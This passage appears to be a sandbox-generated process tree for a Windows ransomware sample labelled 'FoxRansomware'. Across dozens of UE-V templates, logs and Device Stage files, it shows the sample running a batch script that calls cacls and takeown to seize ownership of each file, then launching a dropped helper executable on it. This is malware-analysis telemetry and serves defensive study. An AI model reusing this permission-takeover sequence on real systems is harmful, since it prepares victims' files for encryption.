C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2013CAWin32.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2013CAWin32.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2013CAWin32.xml"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "MicrosoftOutlook2013CAWin32.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "MicrosoftOutlook2013CAWin32.xml" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\VdiState.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\VdiState.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\VdiState.xml"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "VdiState.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "VdiState.xml" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Program Files (x86)\Microsoft.NET\RedistList\AssemblyList_4_client.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Microsoft.NET\RedistList\AssemblyList_4_client.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Microsoft.NET\RedistList\AssemblyList_4_client.xml"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "AssemblyList_4_client.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "AssemblyList_4_client.xml" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\EaseOfAccessSettings2013.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\EaseOfAccessSettings2013.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\EaseOfAccessSettings2013.xml"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "EaseOfAccessSettings2013.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "EaseOfAccessSettings2013.xml" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013BackupWin64.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013BackupWin64.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013BackupWin64.xml"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "MicrosoftOffice2013BackupWin64.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "MicrosoftOffice2013BackupWin64.xml" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2013CAWin64.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2013CAWin64.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2013CAWin64.xml"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "MicrosoftOutlook2013CAWin64.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "MicrosoftOutlook2013CAWin64.xml" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\Microsoft\UEV\Scripts\RegisterInboxTemplates.ps1""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\Scripts\RegisterInboxTemplates.ps1" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\Scripts\RegisterInboxTemplates.ps1"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "RegisterInboxTemplates.ps1" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "RegisterInboxTemplates.ps1" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.ccf37397-b5bf-46d9-8c1f-bf884bcf2337.1.etl""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.ccf37397-b5bf-46d9-8c1f-bf884bcf2337.1.etl" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.ccf37397-b5bf-46d9-8c1f-bf884bcf2337.1.etl"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "MoUsoCoreWorker.ccf37397-b5bf-46d9-8c1f-bf884bcf2337.1.etl" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "MoUsoCoreWorker.ccf37397-b5bf-46d9-8c1f-bf884bcf2337.1.etl" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\de-DE\resource.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\de-DE\resource.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\de-DE\resource.xml"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "resource.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "resource.xml" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\es-ES\resource.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\es-ES\resource.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\es-ES\resource.xml"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "resource.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "resource.xml" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\behavior.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\behavior.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\behavior.xml"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "behavior.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "behavior.xml" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\de-DE\resource.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\de-DE\resource.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\de-DE\resource.xml"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "resource.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "resource.xml" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2010Win32.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2010Win32.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2010Win32.xml"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "MicrosoftOffice2010Win32.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "MicrosoftOffice2010Win32.xml" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016Win32.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016Win32.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016Win32.xml"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "MicrosoftOffice2016Win32.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "MicrosoftOffice2016Win32.xml" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\RoamingCredentialSettings.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\RoamingCredentialSettings.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\RoamingCredentialSettings.xml"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "RoamingCredentialSettings.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "RoamingCredentialSettings.xml" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftLync2013Win64.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftLync2013Win64.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftLync2013Win64.xml"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "MicrosoftLync2013Win64.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "MicrosoftLync2013Win64.xml" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016BackupWin32.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016BackupWin32.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016BackupWin32.xml"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "MicrosoftOffice2016BackupWin32.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "MicrosoftOffice2016BackupWin32.xml" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftWordpad.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftWordpad.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftWordpad.xml"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "MicrosoftWordpad.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "MicrosoftWordpad.xml" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "superbar.png" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "superbar.png" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\resource.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\resource.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\resource.xml"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "resource.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "resource.xml" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.e6640788-2798-4454-80d8-28088404c50e.1.etl""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.e6640788-2798-4454-80d8-28088404c50e.1.etl" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.e6640788-2798-4454-80d8-28088404c50e.1.etl"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "MoUsoCoreWorker.e6640788-2798-4454-80d8-28088404c50e.1.etl" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "MoUsoCoreWorker.e6640788-2798-4454-80d8-28088404c50e.1.etl" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftLync2010.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftLync2010.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftLync2010.xml"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "MicrosoftLync2010.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "MicrosoftLync2010.xml" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Win32.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Win32.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Win32.xml"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "MicrosoftOffice2013Win32.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "MicrosoftOffice2013Win32.xml" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftSkypeForBusiness2016Win32.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftSkypeForBusiness2016Win32.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftSkypeForBusiness2016Win32.xml"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "MicrosoftSkypeForBusiness2016Win32.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "MicrosoftSkypeForBusiness2016Win32.xml" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\Microsoft\UEV\Templates\SettingsLocationTemplate2013A.xsd""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\Templates\SettingsLocationTemplate2013A.xsd" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\Templates\SettingsLocationTemplate2013A.xsd"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "SettingsLocationTemplate2013A.xsd" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "SettingsLocationTemplate2013A.xsd" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\USOShared\Logs\System\WuProvider.e36a78df-3242-4e6f-ad87-f121f8cb94a2.1.etl""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\USOShared\Logs\System\WuProvider.e36a78df-3242-4e6f-ad87-f121f8cb94a2.1.etl" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\USOShared\Logs\System\WuProvider.e36a78df-3242-4e6f-ad87-f121f8cb94a2.1.etl"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "WuProvider.e36a78df-3242-4e6f-ad87-f121f8cb94a2.1.etl" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "WuProvider.e36a78df-3242-4e6f-ad87-f121f8cb94a2.1.etl" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
